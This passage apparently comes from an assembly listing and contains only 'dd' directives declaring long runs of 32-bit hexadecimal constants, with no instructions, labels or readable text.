		dd 9F54EA86h, 85795952h, 0A38A0F60h, 0B0D32807h, 0FEAEE612h
		dd 6E3A06F5h, 7AA84F45h, 3660F72Dh, 0DB4BBF0Fh,	6EBE29C4h
		dd 37B50194h, 73ADCEAAh, 0F7D94E92h, 0F5DA4B31h, 0C077D087h
		dd 76A614B5h, 9816B297h, 2A1CF1h, 7C573356h, 0E41F5EE3h
		dd 62335795h, 96F0804Bh, 0E3A9727h, 2D214E40h, 22C9497h
		dd 305D47CBh, 40DF5350h, 4FDEB44Dh, 52C1D65Fh, 6E30DD21h
		dd 0AE156DC4h, 45828728h, 0F2E32B0Ch, 0A185290Eh, 0E28DB812h
		dd 0F660562Fh, 0A83F2531h, 85890A41h, 0F0FCDAB7h, 0CBB9850Dh
		dd 8139986Ah, 5C12DF04h, 0E6AA54E8h, 0A84F5D5Ch, 0F135026Dh
		dd 892CA65Ah, 4A2BD361h, 0E3C85E99h, 9A24005Ah,	2DF86F3h
		dd 47001557h, 0D7100544h, 0F6519B21h, 0AE984A49h, 5D18537Fh
		dd 0B6D901Dh, 0F09D2380h, 0AC1C972Eh, 6A8D345Fh, 12B11A41h
		dd 0A433B82Ah, 5A111B6h, 16E52DC6h, 4DA916C1h, 0C0A39AB4h
		dd 0FCF0450Ch, 75DC58B5h, 0E97BA44Ah, 0FFF3A01Ch, 0A6C38147h
		dd 8B23D820h, 7D85A0C1h, 60CA8203h, 31612056h, 7178C1B5h
		dd 9264502Dh, 161E2104h, 75E086A0h, 206C9056h, 5F4B13F1h
		dd 58BDCEC4h, 0BC71A95Fh, 7BCF0EFh, 0E37FF0DEh,	0BA5C0BB3h
		dd 2B8C01F4h, 0EF1BAD26h, 5F8D2453h, 2A05ECC2h,	62E07D0Ch
		dd 0EF951D79h, 64D8E109h, 41FDFD78h, 5579B3F9h,	0C90BE892h
		dd 0FC37D76Ah, 7AB7D80h, 67BFA5h, 0D912563h, 203D9D01h
		dd 0F6DB5C95h, 0A74CD612h, 0C13F10ACh, 0C47ADBh, 39F8BD87h
		dd 34BBD4A8h, 0BF06B270h, 7ED05BDAh, 694915C0h,	4D015359h
		dd 0ED9637C1h, 0F02E74B3h, 0FF801F05h, 0ED44BFD1h, 0AB631488h
		dd 60533D09h, 0B2EB8E61h, 0BAA66730h, 0ABCC2FD0h, 876589F1h
		dd 0B5ECDEADh, 0E4861BDh, 33026A01h, 4F290080h,	12A63857h
		dd 0C3B0051h, 0B2BC50F3h, 5A1DD161h, 0A140E206h, 0EDB3BF90h
		dd 50530789h, 0C94FB160h, 9A4489FFh, 0AB3D63h, 3ED3690h
		dd 0FF4C6F86h, 81A903B4h, 0B030EBE3h, 0E739BF11h, 20EB7CA8h
		dd 0E91209D1h, 71E20E51h, 122A0FC4h, 3181BB9Bh,	60D2B47Bh
		dd 1A2D2BC6h, 0E6D921h,	0EEC8E727h, 0EC0B866Eh,	244DBD29h
		dd 6EEA5FA5h, 25EC1F7Eh, 0D5D24889h, 18919935h,	0B51F7581h
		dd 74D8CA7Dh, 0B5502640h, 690058C4h, 716DEF4Dh,	2E31E1B0h
		dd 3B350214h, 0FDEA3F25h, 0FE73757h, 2D89AFFDh,	229B9770h
		dd 0C3D07F8h, 0A9A7CDA6h, 64B51CAh, 5A76B28Ah, 80D99085h
		dd 1B977DCBh, 0CD3816B0h, 0D2DCA81Dh, 43B6AEEh,	0EBB9FA51h
		dd 95DC10AFh, 5114F17h,	0DE039926h, 0B412C053h,	4F9D05EBh
		dd 0ADB0C4B1h, 0A8268898h, 8121EEDDh, 0C3DFC2B0h, 0D0DC4E0Fh
		dd 71E45B10h, 9780E991h, 0C4F623B1h, 861500B4h,	9F112919h
		dd 0D302994Eh, 7AABAA42h, 91A75C8Ch, 16E148F1h,	30FE0E29h
		dd 1521BD13h, 0ACAA539Dh, 0DA509F0h, 0BFC6B0FFh, 0EA01A0Ch
		dd 0A955205Ah, 80F081E3h, 1689DADFh, 98FF1681h,	0F1E995D3h
		dd 0F8338B0Ch, 0B1DF7A2Bh, 156857D1h, 0A29EE916h, 0A77D348Ah
		dd 5500B6ACh, 0EF804947h, 9109BBAAh, 7046A4F5h,	0E268BFBBh
		dd 0E0A2DBBFh, 2E90AA56h, 0F49F0A88h, 47D85000h, 25BF8D11h
		dd 0A2C445DFh, 0CF647D00h, 9CBEB596h, 2A2001ACh, 0A33AA132h
		dd 4EA091E7h, 84D5C15Fh, 0A4362EEAh, 104120EAh,	0CD5C02B5h
		dd 0D0B0550Ah, 7B04DEC9h, 611E3BDBh, 2188AEB8h,	8FBCCBBBh
		dd 10AACE4Ah, 8AD115E9h, 612B2C55h, 9A8E3ABh, 79A8A07Dh
		dd 0CD3A9526h, 0EA724D01h, 0B9E53163h, 0DE5F6E78h, 5CFF824Fh
		dd 0D6637574h, 5EE6C958h, 342BDCB5h, 0CF9F0BB4h, 61634A54h
		dd 7885BA01h, 0B7B92540h, 94561A42h, 0C0E04D27h, 8F663470h
		dd 0E98D6307h, 7D31BF37h, 0C82E0543h, 76600D25h, 10ECD358h
		dd 70CA2754h, 40FC60A5h, 7538DC14h, 0FB00E447h,	53B45A6Fh
		dd 1217C33Eh, 0A2C02B24h, 866C00C4h, 0F266DC2h,	886A4BF2h
		dd 2EF5B3B9h, 0A02DB76Dh, 34007BA8h, 10E73F03h,	0AC78160h
		dd 3582EBBCh, 88B98E5Dh, 46BB64E0h, 660187C8h, 1CA3A928h
		dd 0C5406110h, 0FD881FAh, 244B3AF1h, 45950941h,	0B7622E04h
		dd 4FF953h, 0FFD0A33Dh,	0B527A850h, 510F565Bh, 48DD6A15h
		dd 16E2Fh, 0BF565516h, 2DC03F37h, 0FD605B0Fh, 8A801CFDh
		dd 0F8615BCCh, 27DBBC8Ah, 6453C937h, 2494E770h,	9CEEEFAh
		dd 9CD51231h, 9E5F5F30h, 0E7BC0AFh, 611067E6h, 8FF7B0D9h
		dd 0BECC2B54h, 56D11173h, 0FFF9822Fh, 6937DDE1h, 1DC9BE00h
		dd 481925Ch, 498E44E7h,	0A768B834h, 0F3818008h,	7A689A7Bh
		dd 6B4B1497h, 0EFCD2708h, 0A95A22C0h, 9E1404ADh, 0AAA5BD33h
		dd 4475E2B4h, 49258D10h, 176BC720h, 0EC84FD92h,	0DE8A1748h
		dd 24776F60h, 840582DEh, 31C1FA5Eh, 122E32F0h, 0AC87C486h
		dd 0F80C646Bh, 3C2268B9h, 0B443B8BCh, 90EBF4A8h, 0FDD9B9BBh
		dd 40C78304h, 0DAFE5BABh, 0ED98D3DDh, 0E8594B30h, 12A6D46Fh
		dd 0B8BC11E9h, 1E16BB4h, 0B4D78D39h, 0E1C6331Eh, 90002120h
		dd 960516BBh, 6050056Fh, 0EC4ACCB3h, 9061C479h,	0AD03A7B2h
		dd 16436E55h, 21AA8E40h, 85091B0Bh, 68A125F5h, 0A94BFD06h
		dd 0D4CA251Eh, 3A988078h, 64B356ECh, 9F9B878h, 0F887B7B2h
		dd 0B5A5B0FDh, 0CB2BEF0Dh, 0DA6A5B5Ah, 0B25E326h, 157E0975h
		dd 0E99CBA40h, 0AD014AC5h, 0E1EE821h, 0EF1F8FD2h, 0E958602Ch
		dd 5E39A225h, 1AF64197h, 0B8BCDBE1h, 5703C99Ah,	502F2172h
		dd 12495101h, 3F78E15Fh, 0BC17DCh, 21A2977Ah, 8CD15B78h
		dd 0B767D300h, 79B5313Dh, 7EF1B715h, 50CC7B69h,	0F004AD0Dh
		dd 8E8A7314h, 31E901C1h, 663DDC2Bh, 0AD97BB07h,	51D289F8h
		dd 0B5F96856h, 0B55F71BCh, 16644FEDh, 49AE0260h, 0BF600097h
		dd 4B7B29F1h, 8E40810Fh, 0F1F814C6h, 0FE085180h, 0C39D40D0h
		dd 0AC52842Eh, 12E811D8h, 0C026BD4Ah, 35038AC6h, 0B0FB0EB7h
		dd 0BF203F8Bh, 44205F79h, 9639E1BDh, 1216E070h,	0E1429776h
		dd 8B475F64h, 6DDC02AFh, 8D010109h, 1FAC547Dh, 5FDA89A4h
		dd 0FE70EF5Ch, 0B2BB0750h, 8C09E0F8h, 0BE7EB75Fh, 0C4895CE1h
		dd 0A3A05907h, 0FB4ED45h, 0A8EE6246h, 23F23E17h, 47C1D200h
		dd 0F221DC70h, 800BD5Fh, 50AA66BFh, 0B6AC4F4Eh,	645765DDh
		dd 6154972Fh, 0C0C8765h, 8A042650h, 0FA681585h,	0BD378D97h
		dd 54E92154h, 0B11088D0h, 0EA61322Ch, 80CFDFD9h, 5F26C69h
		dd 0A3F827CDh, 4AF21Dh,	4218AF81h, 0EE9F71h, 0BBCF3F5Bh
		dd 582182C3h, 414A3AECh, 2C4134CAh, 49806F38h, 0E7B13378h
		dd 33696226h, 9147108h,	924AE95Bh, 0C5752E56h, 674CC051h
		dd 582D5B44h, 0C02A4D5Fh
		dd 0B7FE594Ah, 7BAFFA02h, 5C84685Ah, 4D65028h, 13D39B7h
		dd 0B512A9F0h, 203CEA67h, 0C2EABD04h, 65F1EFDFh, 9DD602C4h
		dd 80012A71h, 342B8CE3h, 8008A8E6h, 0FC4FC81Eh,	97AD016Ah
		dd 2DB35EAFh, 0E193F014h, 0A3CD324Ah, 0BF6F7741h, 1D126A38h
		dd 0E76BFEF2h, 0CF021823h, 0DF2F945Ah, 49FD1205h, 0D15F50A3h
		dd 34A53EE5h, 0E3A377Dh, 0E3208DBFh, 665C3139h,	3945D895h
		dd 7A9F987Bh, 621C88Bh,	790967ACh, 6F4D752Ch, 84D81BC4h
		dd 3A13734Eh, 512389Ah,	4A53E335h, 0D8EEF9Bh, 8B602C41h
		dd 98C26AC6h, 3D0B061h,	1AD92DBDh, 42C04274h, 1F352AF5h
		dd 12C51D48h, 4A5AE33Fh, 3DACBD94h, 0A15FA74Eh,	0A0428AE2h
		dd 55D6CABDh, 4B701EBAh, 54214D2Dh, 0B097DE0Fh,	26AC7B5h
		dd 0B807C8C6h, 44F56DA8h, 26512566h, 0B5CBDEFCh, 300E096Eh
		dd 0C8041F44h, 8654FC81h, 151508ABh, 0F408FCADh, 0FACB3E00h
		dd 0D1EBB09Bh, 9D3D24BCh, 0F2CE0BAFh, 9CCF0474h, 0F8253290h
		dd 46D613FEh, 0DDFA4A1Ch, 80C52C3Bh, 0F20C8C7Ch, 76B325B9h
		dd 2BED9857h, 534D5BBDh, 0B26FEA9Eh, 0AAF1926h,	4BA1D99Dh
		dd 0EAC2A409h, 0F84BDB55h, 0F305E0B1h, 1D96A7E4h, 0D35ADABBh
		dd 0E3A8AC70h, 0CA3927EAh, 0DB129358h, 0F7F89602h, 0A044BE17h
		dd 9F4FA53h, 2DF18515h,	98049364h, 8BAA1005h, 0B74A5631h
		dd 830F85A1h, 252CE66Ah, 5A3D54F8h, 0A5CB287Dh,	1F3C00DEh
		dd 7088DAF2h, 8BB69637h, 0D0D4DC43h, 0A1B15A3h,	3C7276F7h
		dd 3FFE2784h, 1E6629DEh, 21D94299h, 1733857h, 1751258Dh
		dd 46DEC3FCh, 0B66D2414h, 73076709h, 181459E3h,	8FE1B5E9h
		dd 6EA62A2Ah, 638A2600h, 0AB359F5Eh, 682DBF00h,	0EC594811h
		dd 16A10636h, 3E52F751h, 5B834567h, 45FD7119h, 0B404A788h
		dd 7F0B52ACh, 0AC540773h, 9B1A6560h, 41DC0990h,	1956B2E7h
		dd 0B866D601h, 0EA2D4A01h, 0DE2D844Bh, 0DC748082h, 1756B805h
		dd 83142CB1h, 0ED85C6FDh, 9B7BCC0h, 0A2FE4AE8h,	0C16B5179h
		dd 0BB041E35h, 411288h,	0B2660134h, 78DF7C53h, 24F2F901h
		dd 91CBEB32h, 255FA560h, 0AC70F1E9h, 70D3797h, 0C0E36291h
		dd 6D7E2DCDh, 880BCA2Ch, 36C8DF39h, 0A6C716EBh,	48BB8018h
		dd 5B9F0C39h, 8EE7781Bh, 0BAF884Bh, 0BDD706FEh,	1FCA2FAFh
		dd 0B248A90Bh, 5B975940h, 3EADD0C2h, 5E45509Fh,	4334A71Bh
		dd 0CCF15ED6h, 0D2E4E27Eh, 1C56ABBh, 6F3F3B1Ah,	19100AE9h
		dd 2201DE1Eh, 329A3DD3h, 0F820F0B1h, 0B73AE1BDh, 80FFA56Dh
		dd 0BA54DE39h, 97E4A20Dh, 4A784A70h, 0EBC08BC0h, 1B262BF4h
		dd 0D409AFC3h, 68C800B8h, 366B247h, 5F4F45B1h, 19D8BA77h
		dd 557ABC4Eh, 0F1470B00h, 0D2FFEE52h, 866501D1h, 9D63C5E0h
		dd 35A5E8AAh, 0CBC13D00h, 1A52613Eh, 18EF77A3h,	28E8AC8Bh
		dd 9100E35Bh, 0A7E6DC77h, 1F7EA7Ah, 0F90BF062h,	0D05C051Bh
		dd 6400392Ah, 0A44FAA6Dh, 50F0DEEh, 632FE89Dh, 7078C6F0h
		dd 3800E5F0h, 3F4EB360h, 6646ECC1h, 21DA0827h, 60300801h
		dd 0AA8B36D7h, 58CB8180h, 0DED996C9h, 0CE76B603h, 0A7F53808h
		dd 1C39D406h, 8069028Ch, 0E9C7BAB1h, 7209AE81h,	80046037h
		dd 26382413h, 7632306Dh, 0A2E68CA0h, 65CCC50Ch,	0E807699Dh
		dd 0A08B301Ah, 88B5BD11h, 84263E01h, 0AC1E67E9h, 21B60898h
		dd 8839BDE2h, 0B23D0747h, 5AA1BC83h, 0A040C44Eh, 0EC1B2805h
		dd 0E4AE30D6h, 700F1E68h, 0A537C81Fh, 0E85AF606h, 1C78C818h
		dd 3C88B7C0h, 22944626h, 0BFE40AB3h, 2DE8088h, 0FD4AD650h
		dd 5258248Ch, 0E228FE40h, 519700B0h, 0EADDED7Dh, 0F008C48h
		dd 1F6FD131h, 39E458BCh, 9187D8AEh, 91F8714Fh, 0F8B029F3h
		dd 1F007387h, 9EEAF432h, 1DAFE0ABh, 898DC0h, 9AAA592h
		dd 371FF51h, 0BA9B60Ch,	0C09008F3h, 5101C821h, 0D7008D5Dh
		dd 0EF88E322h, 888C349Dh, 0B004C03h, 0F4B58DB7h, 4385D30h
		dd 0B68C1E1Fh, 6681EB94h, 0D3A87Ah, 72D1C530h, 0D3D62EC9h
		dd 0CE269619h, 2180B908h, 9472D9E8h, 0A600010Bh, 0DB6F2A55h
		dd 6C7AAB95h, 0C1C0700Ah, 0E051F88Ch, 800B4303h, 0C45102C9h
		dd 0CB9A0072h, 0F4C589A2h, 86735926h, 0B40F6C05h, 6807ACBFh
		dd 649198Ah, 11B28Dh, 0D068C8CFh, 8EC9C638h, 8D63037h
		dd 0F1216Ch, 9EBD68C0h,	2B648B45h, 7A63A0Fh, 0AE5838A4h
		dd 88FE5427h, 95F3C63h,	4475F482h, 9C87A52Fh, 97D841F8h
		dd 0AF508091h, 949FFB2h, 0AEF9061Bh, 8E913B3h, 0D0218660h
		dd 38FC49F7h, 82B80BC5h, 0B8D5E218h, 64301FA4h,	523A7884h
		dd 0ED7E0790h, 8196E3B0h, 0C4723F20h, 0D9ECA826h, 3DFA8600h
		dd 5CF17001h, 2D54004Fh, 931AA4ABh, 210E908Dh, 81EC2Ch
		dd 0E47B6DCBh, 439100A1h, 0D8C595A5h, 0FDFAD974h, 0C1908E98h
		dd 0FC6AE91Fh, 0BE7780BDh, 6511C520h, 0C17800F6h, 0EC1C66B1h
		dd 58004840h, 3660456Fh, 0F6C815h, 2F545C27h, 0E9823D75h
		dd 2B5ABA1Fh, 16724FC0h, 31149B7h, 0D4AA7E09h, 2E80BECBh
		dd 0DD007D27h, 0D6C3AFD2h, 183C23A3h, 3933F740h, 8C348CDh
		dd 98699C24h, 7DAD7D37h, 0E14700CAh, 0B4031650h, 0EB1FD548h
		dd 0C1C0D3F0h, 3D0B3BF2h, 0E5F30C49h, 5F401625h, 1E3FA18h
		dd 64182D18h, 404A614Ch, 0FC87C1A0h, 0D82C0148h, 834ECF18h
		dd 30CA8003h, 9957B02Bh, 7EC11E39h, 39BD18D2h, 7A6FA636h
		dd 7FF00008h, 1DD375A5h, 3BCB44EDh, 0A7AA2C83h,	9BF8AC54h
		dd 0D005715h, 823BE2F3h, 457560h, 0FCA538F8h, 7E8A7198h
		dd 5185A630h, 129A67h, 0E1B8BD78h, 83CB9F2Bh, 2FFFEA01h
		dd 3292E7ABh, 0A0A3C6F4h, 185BCCF3h, 99421E20h,	273FDA60h
		dd 0D0FB0089h, 76C8CE9h, 81A100A7h, 0F310F99Bh,	0C9C737CFh
		dd 83C8CA45h, 6A1FE3FDh, 0C9AB4900h, 0C15748D3h, 6CCE17E8h
		dd 40B71E2Fh, 0B0AACD78h, 0E53CDB71h, 8C00F0FBh, 0BC96FDCAh
		dd 4A6177h, 8D43A12Bh, 525BBE60h, 335C4800h, 244ED0DEh
		dd 62B70F97h, 80BEFEBBh, 9BE7A855h, 0DD00E1BAh,	328404Eh
		dd 0A590D6h, 220B048Bh,	1EADF248h, 4F1D590Ch, 183A5058h
		dd 3042B5A9h, 0B200A047h, 77758714h, 3DCE760h, 15C98D53h
		dd 0BEE82034h, 1D20F93Ah, 1365F852h, 7429930h, 80CA15B4h
		dd 0F89808CBh, 0F930A9F0h, 99D12846h, 0C9B901A2h, 941B3769h
		dd 0B1208CBDh, 601149ACh, 0AFD3196Bh, 121F769Dh, 844E4E2Bh
		dd 326A6685h, 3A5C72C0h, 383CB0A9h, 6C3D200h, 18524F2Ah
		dd 646258h, 4F8FB93h, 3EEEF69Ch, 0C83A1485h, 86009E3Eh
		dd 0DB6A7305h, 9A0320C2h, 65A18215h, 1FA7F0C4h,	0FF520CF2h
		dd 0D910F1F4h, 6639A607h, 9BF1E561h, 0A3E7AD76h, 382100CFh
		dd 0CBC7C6BFh, 0AE027573h, 0A1E34EF6h, 787900F9h, 0C3039EA5h
		dd 0E13AD695h, 0A784990Ch, 0B4110300h, 0F43020F8h, 8E9751FEh
		dd 3C260FB7h, 0A5606E2Eh, 0FA20C5A9h, 2C821428h, 0C049A9C8h
		dd 616539ABh, 0F522BD46h, 0C6C43700h, 950F3C87h, 0A9EE0156h
		dd 527985BCh, 5A047D9h,	0BB900E8Fh, 0F2807143h,	11F93800h
		dd 5933DA5Dh, 33FDFC77h, 4084770h, 54AF2107h, 42C18ADAh
		dd 0C1219817h, 0E0672D20h, 0EE8E3028h, 3C7C90B8h, 0EFF8A70Eh
		dd 3A048261h, 9B84A086h, 3AAB762h, 0EDDC6303h, 8315B78h
		dd 6A462194h, 3AAE7320h, 993F7681h, 482B7C9Bh, 0B1345810h
		dd 9CE70E00h, 32BFF75Dh, 8567D00h, 2D3849AEh, 75C300A7h
		dd 53CB4D5Eh, 0F5009EB5h
		dd 6DA0CE7Eh, 0B6D506h,	0E22AA529h, 9D858938h, 34E9AB39h
		dd 42B1199h, 8692F1C3h,	0C8D91003h, 0D071266Dh,	940960h
		dd 3768C38Eh, 484DBC95h, 981A3300h, 0DF08A59Ch,	664000CAh
		dd 7F9D6355h, 790F8771h, 0C01913DBh, 0F402FCB9h, 150B167Eh
		dd 0D6FF007Dh, 0DD4CDC18h, 3EF63900h, 0B80597EEh, 0E2121CE5h
		dd 69B90AF4h, 85570028h, 2315A98Bh, 0C4B1D400h,	12E6026Ah
		dd 0C6250030h, 6697DF4Eh, 481618EEh, 72001689h,	365814E7h
		dd 85061DD2h, 0E7E8077h, 7C9FD953h, 0ECF5C2CFh,	5A1C1Fh
		dd 56B263CAh, 0E1B72DCFh, 0AA301600h, 202B1A76h, 44C700A4h
		dd 0CA96D963h, 0D001B8Ah, 55B1ED24h, 485AAA0Bh,	5D00EBFDh
		dd 8540E234h, 0CF00DE6Eh, 6DE94C5Ch, 72ABEh, 0A3365490h
		dd 0AEA1E844h, 0FC8CA5Ch, 0A0E94316h, 0F60D92E0h, 229B3B5Bh
		dd 0BF8108Fh, 5ABC6CE0h, 0F900146Dh, 8C0A662Eh,	0AE8F98h
		dd 0B73A9A26h, 0F7FA0CC5h, 9E0E3E00h, 1067369Dh, 42240148h
		dd 0EBD0EAB5h, 4139FD5Ch, 705537F4h, 5E14FCB5h,	8CAC53h
		dd 44B9FB7Bh, 0F289B0h,	0C316DFA2h, 530DC627h, 1496A424h
		dd 69890C80h, 9837B193h, 3FC500F1h, 5F623683h, 400734A2h
		dd 56FF4A79h, 0C09D0160h, 0FE29ECE9h, 0FD911E33h, 4F868A6Bh
		dd 66E581C0h, 0E8727FABh, 0C00DA74h, 1B2A8FA7h,	7958526h
		dd 0BD1701AFh, 41C1D09Dh, 0DE01897Eh, 0F7312883h, 0C6F42FE5h
		dd 5FFE0337h, 0A5E41E11h, 9C853FAAh, 87A61FD8h,	5044B13Ch
		dd 964BA8A7h, 80C8C700h, 76408C79h, 21581EA2h, 0AA4ECFB1h
		dd 0B84108C1h, 0D3A19255h, 9DB02C21h, 0EA279670h, 9F151F61h
		dd 0BC498143h, 8092E5D4h, 0EA1D1031h, 0A653AA3h, 0C0BD51B0h
		dd 730E08A0h, 66898280h, 63B71D4Bh, 0A470A83Ch,	0AF57A2A7h
		dd 0F0811C40h, 5AE15C00h, 0B3CCFFF6h, 0F1DA3A9Ah, 0FC2B3600h
		dd 24BAD464h, 5ABF4D03h, 0EABE9F35h, 56B88057h,	13F12B6h
		dd 2BEE6C78h, 0F0D87529h, 0CB49B01Fh, 9D0074F4h, 0B7685F49h
		dd 1AE8528h, 9BD0741Ch,	0DCAB0D69h, 8948A348h, 0F48000CAh
		dd 58445B45h, 13B02475h, 68BF011Fh, 609C6427h, 7850A678h
		dd 98014BE0h, 0F2624F23h, 1C303BBh, 418848E1h, 20A804E1h
		dd 0FF04E783h, 46383BA5h, 0A9124C85h, 542C4043h, 0F0E5D09Dh
		dd 0ACD600BEh, 51999E7Ch, 0BC01C952h, 74D7D165h, 0DE70F489h
		dd 0A943002Ah, 569971CFh, 92002EDCh, 63D39BD1h,	5CB0037Dh
		dd 3107C280h, 30904766h, 0CFBCA8Bh, 8EE6C500h, 0EC0E879Dh
		dd 0E7EE3Bh, 0E89B8039h, 0CFB2AF09h, 6BDC3D03h,	0C0314277h
		dd 7401F71h, 473613D3h,	0E9D4A06Eh, 0B60FF011h,	20A92A23h
		dd 0F6D393E8h, 0B1F10048h, 520C6854h, 445C8473h, 0B71C04F3h
		dd 0AC8118E2h, 0EEB0BCFh, 0BF77DA4Ah, 8084C6EAh, 0A17B4311h
		dd 9300E316h, 0D526CDF3h, 0B8A3509Ah, 0C42F00E9h, 23CCD38Dh
		dd 750001FAh, 0EC72B242h, 98950A49h, 0F03303D4h, 1A93C937h
		dd 0E0AF27D1h, 0D300DF86h, 2FB66114h, 43C3BDh, 56A87277h
		dd 5DE8FF80h, 25328E00h, 0ECF5CE4Ah, 4ECCA8DCh,	0AF88A079h
		dd 0BE0104F9h, 0C0E7276Fh, 15E4D1D8h, 45F10907h, 7F6158CBh
		dd 0DCF0B348h, 0E86401CDh, 0B65EC3BEh, 200DED74h, 0B5001B34h
		dd 6A8EA272h, 3E7A5693h, 94804677h, 0B6601E5Dh,	0B02F763h
		dd 4012887h, 185C48DAh,	0A1D7CCEh, 5CA9EDBCh, 663B808Ch
		dd 0BF0365DFh, 94D62509h, 1168809Ah, 0A8EBC6h, 400AF0FFh
		dd 0DD3403E2h, 65F435FAh, 12D9473Dh, 100E567Ah,	755A8037h
		dd 2C022h, 2CC72F67h, 0A321E140h, 99BFCC00h, 84707E2Eh
		dd 6EC1008Eh, 2FAFD4D8h, 5A7061A8h, 90CFAE0Eh, 5916204Ah
		dd 3FC71B80h, 0A08FC23Ah, 28CFFB3Bh, 806A4D47h,	3E4E6C8Ah
		dd 25A43300h, 0D979B026h, 0A59B008Bh, 0E175AC47h, 60030E7h
		dd 4417CFF3h, 13D9806Ah, 0DBCBE6h, 59DC7FE5h, 0E003DF8h
		dd 6C9854FDh, 0BB7BD6h,	581F3248h, 7C2CE531h, 7A871103h
		dd 0B09B35BDh, 0D6F20Ch, 0D35B0BF3h, 0FBDBA524h, 81979A2Eh
		dd 84AB1100h, 0A0CF65h,	0D5DF94F7h, 0DB742BD3h,	3ACDDA00h
		dd 59E30DD6h, 0A09E0041h, 8453804Ch, 200DCB9h, 0E0428123h
		dd 3BA53609h, 0F801D0Dh, 2EA15020h, 0EF499DF4h,	0C0C91288h
		dd 0E81FE00h, 0FE63998h, 321687AEh, 67886580h, 4B009128h
		dd 1007C580h, 0EA5775Ch, 0D5D1BA12h, 1DAE3B40h,	0FF12B72Eh
		dd 98408D78h, 0C2962467h, 4DE82EF4h, 34638068h,	0DADFCF81h
		dd 7C70900Ah, 65009C2Eh, 35C17495h, 0FF5505F6h,	0BCD0D550h
		dd 0BF920737h, 5EB014F7h, 7FD47696h, 0AC565461h, 232E09B4h
		dd 0B4209094h, 0D61EB6BFh, 8CDB6307h, 1610BD75h, 0FB9CBF7h
		dd 3B8079D7h, 0C654E700h, 967F56E6h, 0FABBD312h, 0B52D6900h
		dd 604021C1h, 9DD1B097h, 0A322069h, 1AD1166h, 31914B0Dh
		dd 1720806Dh, 1CB99515h, 2B5395Dh, 70F154B0h, 98909B88h
		dd 3EB71E58h, 0B08D81CFh, 14BCB544h, 0CD203881h, 46E34h
		dd 0C8E8FEh, 678F8803h,	89B33E85h, 145F5700h, 0DDE76D4Bh
		dd 9D7C0036h, 88159483h, 2A007E25h, 9526901Dh, 27BF6Ah
		dd 0F1B68A1Eh, 6CC40A87h, 98050272h, 0A7311B01h, 0A3CFFFC0h
		dd 0DF500027h, 4AE58F87h, 0E8F47590h, 0E9946216h, 52397401h
		dd 0E9607E1Ah, 590C0393h, 654A1656h, 8ADE14D0h,	83904F00h
		dd 49E8599h, 0B9393072h, 7A0538F2h, 1C8BA901h, 953B7145h
		dd 3612A050h, 0E50CE9Eh, 8A3C98C0h, 0E43FFF9Bh,	0CABB86BCh
		dd 520C982h, 59480D85h,	0C7203CB4h, 72023E46h, 3BA1B289h
		dd 6E18C0A0h, 5DFAAE44h, 0B99C690Ch, 0C05C0855h, 44667921h
		dd 3F00C9F1h, 9013D63Dh, 1B9B706h, 927B70E7h, 349F2A51h
		dd 7E7EE1BCh, 4A375401h, 94901B86h, 70BEE09Eh, 28BD3251h
		dd 31034873h, 0E1CD3BDDh, 0F1A5E077h, 9C9A84h, 6AFBD565h
		dd 9535250Ah, 34DD021Dh, 0C6217318h, 3FB76AAh, 12521637h
		dd 0F00192A2h, 154F9DEDh, 28879C66h, 0CA42020Ch, 2AD303B8h
		dd 28406AE6h, 8944A1C4h, 68093098h, 86C61EC1h, 360C8C7Ah
		dd 189D82FEh, 6E12180Ah, 1A3B30A2h, 48F66A30h, 11799DBh
		dd 393F8F89h, 11942D66h, 7A70A1F9h, 0B58D3C1Eh,	8951699h
		dd 0D6219E6Ch, 4BEDD487h, 1174EA30h, 0A3F01DE1h, 0EB6004Fh
		dd 5778C21Ah, 0A2D89A53h, 0D82B3062h, 973FB1Dh,	120C98C1h
		dd 0C08AAFF2h, 11B8D9FFh, 0FBAE808Ah, 43AD0A6Fh, 77A2234h
		dd 1BFBA7CFh, 0C0E77441h, 1EDD9613h, 12947950h,	0D4804506h
		dd 6308293h, 0F0A8857Fh, 0A9F09094h, 9F54C004h,	0FDC1A11Eh
		dd 898C916h, 0B85021ADh, 3900A3B8h, 4001783Eh, 912535Bh
		dd 3B5EDE1Ch, 4116A000h, 4E8A360h, 0F7069815h, 0D5800CA4h
		dd 0F1C4997h, 1BA3B1Ah,	0EC3A94BEh, 153C2210h, 1F9051BEh
		dd 9307CEEDh, 81C0537Bh, 10273F7h, 9069DCF1h, 0A0889C1Ah
		dd 0B646BC28h, 0D2446A02h, 751C7DD1h, 56440095h, 0BC5E9AB6h
		dd 4090A281h, 8980BBF0h, 520E1894h, 0B8AFD065h,	0A18F0101h
		dd 99AA124Fh, 2E105822h, 3A244846h, 3C6F7C9Dh, 44894898h
		dd 446B60B3h, 5D123D3h,	76004611h, 2B174463h, 0BA352ADEh
		dd 5808183Ah, 0D4A0C059h, 95461EBDh, 0D9169122h, 5B00D488h
		dd 0C68C1978h, 6CDE12E5h, 8A940C9Bh, 0A50072C1h, 0B39227AEh
		dd 7C0522DFh, 82961973h, 18B5B8DBh, 0D1443861h,	5D1155A3h
		dd 44597803h, 8F82E81h
		dd 0CF024283h, 1F260DA1h, 0CEAC8047h, 18369FB0h, 0A9950F98h
		dd 0A549F0A9h, 10390008h, 1237AC82h, 0AE7F67D1h, 0BE78F004h
		dd 0DE7D359Ch, 214E93Eh, 0E6BDC6C7h, 8868418Ah,	0BA3E43FAh
		dd 43704C8Ch, 1A9238Fh,	1EA054BDh, 23E619C9h, 4CD8B549h
		dd 0E418E3BCh, 4719A4F1h, 0C088007Eh, 571A74C1h, 593C50CBh
		dd 1CA301C5h, 3FF014D6h, 9047C8E8h, 0EF735880h,	22066C50h
		dd 4E4438FBh, 0ED9A008Bh, 19CF3B21h, 0B0094BFh,	7742E63h
		dd 0C4373102h, 8182D340h, 39B68Ch, 5106C5FEh, 845CE463h
		dd 0F9389170h, 4CCE1964h, 20CA4570h, 48C883Ch, 0A61FBD0h
		dd 218162DDh, 0C4FBA9C5h, 27020405h, 5FED97EBh,	804602Fh
		dd 0F8D649D4h, 0F828B04Ch, 966D448Ch, 509ACD26h, 1377FE8Fh
		dd 0A9F6E421h, 93E8B800h, 33035091h, 2861650h, 8044DA79h
		dd 344C7E6Eh, 13DC7309h, 0B5100043h, 1390C9D5h,	3E89F01Dh
		dd 632318h, 0BC101B29h,	0DB04F2BBh, 9EF1B12Eh, 0AA311090h
		dd 0A69D011Fh, 0C60E39D9h, 9EF0FD05h, 0E46404E8h, 9E606344h
		dd 1E7EBBD4h, 0DB68448Ch, 94D48600h, 6AB8F91Eh,	0A0312875h
